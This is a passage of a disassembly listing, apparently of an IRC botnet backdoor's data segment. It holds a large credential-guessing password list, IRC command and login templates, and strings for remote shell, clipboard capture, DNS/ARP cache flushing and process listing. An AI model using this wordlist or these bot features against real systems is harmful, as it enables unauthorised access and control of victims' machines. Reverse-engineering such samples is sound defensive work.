aAlgebra	db 'algebra',0          ; DATA XREF: seg002:0042C604o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:0042C600o
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg002:0042C5FCo
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg002:0042C5F8o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg002:0042C5F4o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:0042C5F0o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg002:0042C5ECo
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: seg002:0042C5E8o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg002:0042C5E4o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg002:0042C5E0o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:0042C5DCo
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg002:0042C5D8o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:0042C5D4o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg002:0042C5D0o
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg002:0042C5CCo
		align 4
aAction		db 'action',0           ; DATA XREF: seg002:0042C5C8o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg002:0042C5C4o
aAcademic	db 'academic',0         ; DATA XREF: seg002:0042C5BCo
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:0042C5B8o
		align 4
a000000		db '000000',0           ; DATA XREF: seg002:0042C5B4o
		align 4
a00000		db '00000',0            ; DATA XREF: seg002:0042C5B0o
		align 4
a0000		db '0000',0             ; DATA XREF: seg002:0042C5ACo
					; seg002:0042DFC4o
		align 4
a000		db '000',0              ; DATA XREF: seg002:0042C5A8o
					; seg002:0042DFC0o
aTesting	db 'testing',0          ; DATA XREF: seg002:0042C5A4o
aDeath		db 'death',0            ; DATA XREF: seg002:0042C5A0o
		align 10h
a00		db '00',0               ; DATA XREF: seg002:0042C59Co
					; seg002:0042DFBCo
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:0042C594o
					; seg002:0042E40Co
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:0042C590o
					; seg002:0042E408o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:0042C58Co
					; seg002:0042E404o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:0042C588o
					; seg002:0042E400o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:0042C584o
					; seg002:0042E3FCo
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:0042C580o
					; seg002:0042E3F8o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg002:0042C57Co
					; seg002:0042E3F4o
aXx		db 'xx',0               ; DATA XREF: seg002:0042C578o
					; seg002:0042E3F0o
		align 4
asc_432C44:				; DATA XREF: seg002:0042C574o
					; seg002:0042E3ECo
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:0042C570o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:0042C56Co
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:0042C568o
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: seg002:0042C564o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:0042C560o
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:0042C55Co
		align 10h
aScript		db 'script',0           ; DATA XREF: seg002:0042C558o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:0042C554o
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: seg002:0042C550o
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:0042C54Co
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: seg002:0042C548o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:0042C544o
		align 10h
aKiller		db 'killer',0           ; DATA XREF: seg002:0042C540o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:0042C53Co
					; seg002:0042E028o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: seg002:0042C538o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:0042C534o
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:0042C530o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg002:0042C52Co
aSatanik	db 'satanik',0          ; DATA XREF: seg002:0042C528o
aSatan		db 'satan',0            ; DATA XREF: seg002:0042C524o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg002:0042C520o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:0042C51Co
aMatt		db 'Matt',0             ; DATA XREF: seg002:0042C518o
		align 4
aMat		db 'Mat',0              ; DATA XREF: seg002:0042C514o
aPw		db 'pw',0               ; DATA XREF: seg002:0042C510o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:0042C50Co
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: seg002:0042C508o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:0042C504o
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:0042C500o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:0042C4FCo
aMypc		db 'mypc',0             ; DATA XREF: seg002:0042C4F8o
		align 4
aLove		db 'love',0             ; DATA XREF: seg002:0042C4F4o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:0042C4F0o
aLogin		db 'login',0            ; DATA XREF: seg002:0042C4ECo
		align 10h
aHome		db 'home',0             ; DATA XREF: seg002:0042C4E8o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:0042C4E4o
					; seg002:0042E42Co
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:0042C4E0o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:0042C4DCo
					; seg002:0042E398o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: seg002:0042C4D8o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:0042C4D4o
		align 10h
aPc		db 'pc',0               ; DATA XREF: seg002:0042C4D0o
		align 4
aWin		db 'win',0              ; DATA XREF: seg002:0042C4CCo
aTest123	db 'test123',0          ; DATA XREF: seg002:0042C4C8o
aAbc		db 'abc',0              ; DATA XREF: seg002:0042C4C4o
aAaa		db 'aaa',0              ; DATA XREF: seg002:0042C4C0o
					; seg002:0042E36Co
aA_1:					; DATA XREF: seg002:0042C4BCo
					; seg002:0042E364o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg002:0042C4B8o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg002:0042C4B4o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:0042C4B0o
aIrule		db 'irule',0            ; DATA XREF: seg002:0042C4ACo
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg002:0042C4A8o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg002:0042C4A4o
					; seg002:0042E02Co
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:0042C4A0o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:0042C49Co
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg002:0042C498o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg002:0042C494o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg002:0042C490o
		align 4
aGod		db 'god',0              ; DATA XREF: seg002:0042C48Co
aSex_0		db 'sex',0              ; DATA XREF: seg002:0042C488o
aPat		db 'pat',0              ; DATA XREF: seg002:0042C484o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:0042C480o
aAlpha		db 'alpha',0            ; DATA XREF: seg002:0042C47Co
		align 4
a007		db '007',0              ; DATA XREF: seg002:0042C478o
					; seg002:0042E018o
a123abc		db '123abc',0           ; DATA XREF: seg002:0042C474o
					; seg002:0042E228o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:0042C470o
					; seg002:0042E234o
		align 10h
a123123		db '123123',0           ; DATA XREF: seg002:0042C46Co
					; seg002:0042E1D4o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:0042C468o
					; seg002:0042E1CCo
		align 10h
a111111		db '111111',0           ; DATA XREF: seg002:0042C464o
					; seg002:0042E044o
		align 4
a110		db '110',0              ; DATA XREF: seg002:0042C460o
					; seg002:0042E198o
a2600		db '2600',0             ; DATA XREF: seg002:0042C45Co
					; seg002:0042E320o
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:0042C454o
					; seg002:0042E30Co
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg002:0042C450o
		align 10h
aEnable		db 'enable',0           ; DATA XREF: seg002:0042C44Co
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:0042C448o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:0042C444o
a123asd		db '123asd',0           ; DATA XREF: seg002:0042C440o
					; seg002:0042E22Co
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:0042C43Co
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: seg002:0042C438o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg002:0042C430o
					; seg002:0042E230o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: seg002:0042C42Co
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg002:0042C424o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: seg002:0042C420o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg002:0042C418o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: seg002:0042C414o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg002:0042C410o
					; seg002:0042E164o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:0042C40Co
					; seg002:0042E04Co
		align 4
a111		db '111',0              ; DATA XREF: seg002:0042C408o
					; seg002:0042E038o
a54321		db '54321',0            ; DATA XREF: seg002:0042C404o
					; seg002:0042E32Co
		align 10h
a654321		db '654321',0           ; DATA XREF: seg002:0042C400o
					; seg002:0042E330o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:0042C3FCo
					; seg002:0042E1ECo
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg002:0042C3F8o
					; seg002:0042E1E8o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: seg002:0042C3F4o
					; seg002:0042E1E4o
a123456		db '123456',0           ; DATA XREF: seg002:0042C3F0o
					; seg002:0042E1E0o
		align 10h
a12345		db '12345',0            ; DATA XREF: seg002:0042C3ECo
					; seg002:0042E1DCo
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:0042C3E8o
					; seg002:0042E1D8o
		align 10h
a123		db '123',0              ; DATA XREF: seg002:0042C3E4o
					; seg002:0042E1D0o
a12		db '12',0               ; DATA XREF: seg002:0042C3E0o
					; seg002:0042E1C4o
		align 4
a1:					; DATA XREF: seg002:0042C3DCo
					; seg002:0042E030o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:0042C3D8o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:0042C3D4o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: seg002:0042C3D0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:0042C3CCo
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:0042C3C8o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:0042C3C4o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:0042C3C0o
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:0042C3BCo
					; seg002:0042E77Co
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:0042C3B8o
					; seg002:0042E3CCo ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:0042C3B4o
					; seg002:0042E774o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:0042C3ACo
					; seg002:0042E76Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg002:0042C3A8o
					; seg002:0042E768o
		align 4
aEdu		db 'edu',0              ; DATA XREF: seg002:0042C3A4o
					; seg002:0042E764o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:0042C3A0o
					; seg002:0042E760o
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:0042C39Co
					; seg002:0042E75Co
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:0042C398o
					; seg002:0042E758o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: seg002:0042C394o
					; seg002:0042E754o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:0042C390o
					; seg002:0042E750o
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: seg002:0042C38Co
					; seg002:0042E74Co
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:0042C388o
					; seg002:0042E748o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: seg002:0042C384o
					; seg002:0042E744o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:0042C380o
					; seg002:0042E740o
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:0042C37Co
					; seg002:0042E73Co
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:0042C378o
					; seg002:0042E738o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: seg002:0042C374o
					; seg002:0042E734o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:0042C370o
					; seg002:0042E730o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:0042C368o
					; seg002:0042E728o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:0042C364o
					; seg002:0042E724o
		align 4
aBla		db 'bla',0              ; DATA XREF: seg002:0042C360o
					; seg002:0042E720o
aFubar		db 'fubar',0            ; DATA XREF: seg002:0042C35Co
					; seg002:0042E71Co
		align 10h
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:0042C350o
					; seg002:0042E710o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: seg002:0042C340o
aOracle		db 'oracle',0           ; DATA XREF: seg002:0042C33Co
					; seg002:0042C428o
		align 4
aDba		db 'dba',0              ; DATA XREF: seg002:0042C338o
aDatabase	db 'database',0         ; DATA XREF: seg002:0042C334o
					; seg002:0042C41Co
		align 4
aDefault	db 'default',0          ; DATA XREF: seg002:0042C330o
					; seg002:0042CABCo
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0042C32Co
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:0042C328o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:0042C324o
aStudent	db 'student',0          ; DATA XREF: seg002:0042C320o
					; seg002:0042D998o
aOwner		db 'owner',0            ; DATA XREF: seg002:0042C31Co
		align 10h
aComputer	db 'computer',0         ; DATA XREF: seg002:0042C318o
					; seg002:0042C434o
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg002:0042C310o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg002:0042C308o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:0042C304o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:0042C300o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:0042C2FCo
		align 4
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_413629:loc_413734o
					; seg002:0042C2F4o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_42C248o
a@room		db '*@room',0           ; DATA XREF: seg002:off_42C244o
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h, 25207325h, 25222064h,	2273h
dword_433154	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CB75+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CCDD+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CCDD+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B34o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B1Fo
		align 4
dword_4331CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412B12o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_433200	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412AF5o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_433234	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412A97o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_433274	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412A27o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:00412A18o
					; seg000:00412A88o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:00412A04o
					; seg000:00412A74o
		align 10h
asc_433300:				; DATA XREF: seg000:004129D4o
		unicode	0, <~>,0
dword_433304	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412983o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_43333C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004128D5o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_43337C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004128CAo
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_4333BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412866o
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_4333E0	db    2			; DATA XREF: seg000:0041283Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_433430	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:004127C6o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:004127C0o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:004127B9o
		align 4
aSec		db 'sec',0              ; DATA XREF: seg000:0041275Eo
aSecure		db 'secure',0           ; DATA XREF: seg000:0041274Do
		align 10h
unk_433480	db    2			; DATA XREF: seg000:00412742o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_4334CC	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4334DC	dd 646E6946h, 6C696620h, 65hdword_4334E8	dd 72027002h, 1F631F6Fh, 2E2Ehdword_4334F4	dd 636F7250h, 20737365h, 7473696Ch, 0dword_433504	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004125D0o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4125C3o
		align 4
dword_433548	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004125AEo
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4125A1o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00412579o
		align 4
dword_43359C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041252Do
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4335DC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004124EFo
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_433608	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:004124C4o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_433654	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00412459o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_433684	dd 627573h	dword_433688	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004123E4o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_4336B4	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:004123C9o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_433700	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0041233Co
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_43372C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004122BBo
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_433758	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041228Co
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_433784	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412237o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_4337B0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412224o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_433800	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:004121B5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:00412195o
		align 4
dword_43383C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0041213Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
unk_433870	db    2			; DATA XREF: seg000:00412112o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4338A4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004120C6o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_4338D0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_412029o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_433904	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00412022o
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_433940	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00412006o
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_43397C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411FF0o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00411FC2o
		align 10h
unk_4339C0	db    2			; DATA XREF: seg000:loc_411FB2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
unk_433A00	db    2			; DATA XREF: seg000:00411F97o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_433A38	db    2			; DATA XREF: seg000:loc_411F87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_433A78	db    2			; DATA XREF: seg000:loc_411F80o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_433AB8	db    2			; DATA XREF: seg000:00411F79o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
unk_433AF0	db    2			; DATA XREF: seg000:00411EFBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_433B3C	db    2			; DATA XREF: seg000:00411D89o
		db 65h,	2, 28h
		db  31h	; 1
